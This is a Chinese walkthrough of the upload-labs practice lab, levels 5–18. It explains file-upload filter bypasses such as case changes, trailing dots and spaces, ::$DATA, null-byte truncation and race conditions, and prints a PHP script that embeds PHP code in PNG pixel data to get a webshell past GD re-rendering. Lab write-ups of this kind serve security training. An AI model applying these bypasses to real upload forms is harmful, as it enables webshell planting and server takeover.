upload-labs Pass5-18 文件上传
第五关
查看源码,发现是黑名单过滤
我们建立一个php文件进行上传
会发现上传失败
当我们将小写的php改成大写的PHP时
会上传成功
第六关
相比较第五关会有大小写转换 ,也会少去空格的操作
在windons中 文件后缀有 ( 空格 . 点 ::$DATA) 会自动去掉
我们上传一个文件使用burp进行抓包 修改后缀名
发现上传成功
第七关
相比缺少去点的过滤
我们在上传的文件抓包后给后缀名后加点 则上传成功
第八关
看源码 少一个去::$DATA
进行抓包在后缀加上::$DATA
就可以绕过
第九关
发现( 空格 . 点 ::$DATA) 都有过滤 但是先去空、去点、在去空
如果写点空点就可以绕过
上传成功
第十关
查看源码发现会将后缀过滤
将后缀双写
第十一关
会涉及00截断
截断原理就是%00置空,将后面的内容忽略,所以原来的:
$img_path='…/upload//9520220401035448.jpg’在加了截断之后就可以变成:
$img_path='…/upload//11.php
此时直接连接就行
我们将上传的文件更改后缀为jpg使文件可以正常上传
打开目录发现有上传的文件
但是文件中的参数并不会运行
我们使用抓包工具再次上传
将后面加web.php%00即可上传成功
第十二关
这关与第十一关相近 。上一个是get传参这关是post传参
进行抓包
在这里后面打一个空格
将这里改为00
返回主页发现这里会多一个\0 就是%00
进行放行即可上传成功
第十三关
看需求是需要图片码
我们在终端中输入
生成图片码
进行上传
我们进行查看
第十五关 第十四关与十三关相同只是十四关会判定图片的类型
第十六关
由于这个函数会打乱 并生成一个新的图片则上传的新图片不能运行php代码
所以我们将上传的图片码下载出来放到010 edtior中进行对比寻找没有打乱的00部分进行php代码插入
由于暂时找不到该位置,我们采用国外大牛写的脚本
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); }
imagepng($img,'./1.png'); ?>
运行后得到1.png再进行上传
上传成功,我们在文件夹中用记事本查看上传的图片发现里面的内容没有改变
已上传成功但是
使用蚁剑连接则
第十七关
该代码会先上传后删除,我们将木马上传到上一级目录中则可以避免删除
有两种方法
我们进行抓包上传
在爆破模块上传
可看到确实成功
第十八关与第十七关类似只是第十八关需要做图片码进行上传 其他与十七关相同